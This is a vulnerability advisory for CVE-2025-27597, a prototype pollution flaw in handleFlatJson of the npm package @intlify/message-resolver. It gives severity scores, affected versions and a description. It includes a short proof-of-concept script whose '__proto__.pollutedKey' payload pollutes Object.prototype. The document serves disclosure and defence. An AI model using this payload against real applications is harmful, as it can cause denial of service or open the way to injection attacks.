CVE-2025-27597 – @intlify/message-resolver

Package

Manager: npm
Name: @intlify/message-resolver
Vulnerable Version: >=9.1.0 <9.1.11

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N/E:P/RL:U/RC:R

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS: 0.00338 pctl0.55934

Details

Vue I18n Allows Prototype Pollution in `handleFlatJson` **Vulnerability type:** Prototype Pollution **Vulnerability Location(s):** ```js # v9.1 node_modules/@intlify/message-resolver/index.js # v9.2 or later node_modules/@intlify/vue-i18n-core/index.js ``` **Description:** The latest version of `@intlify/message-resolver (9.1)` and `@intlify/vue-i18n-core (9.2 or later)`, (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) `handleFlatJson`. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence. Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context. **PoC:** ```bash // install the package with the latest version ~$ npm install @intlify/message-resolver@9.1.10 // run the script mentioned below ~$ node poc.js //The expected output (if the code still vulnerable) is below. // Note that the output may slightly differs from function to another. Before Attack: {} After Attack: {"pollutedKey":123} ``` ```js // poc.js (async () => { const lib = await import('@intlify/message-resolver'); var someObj = {} console.log("Before Attack: ", JSON.stringify({}.__proto__)); try { // for multiple functions, uncomment only one for each execution. lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" }) } catch (e) { } console.log("After Attack: ", JSON.stringify({}.__proto__)); delete Object.prototype.pollutedKey; })(); ```

Metadata

Created: 2025-03-07T15:58:24Z
Modified: 2025-03-07T19:16:45Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-p2ph-7g93-hw3m/GHSA-p2ph-7g93-hw3m.json
CWE IDs: ["CWE-1321"]
Alternative ID: GHSA-p2ph-7g93-hw3m
Finding: F390
Auto approve: 1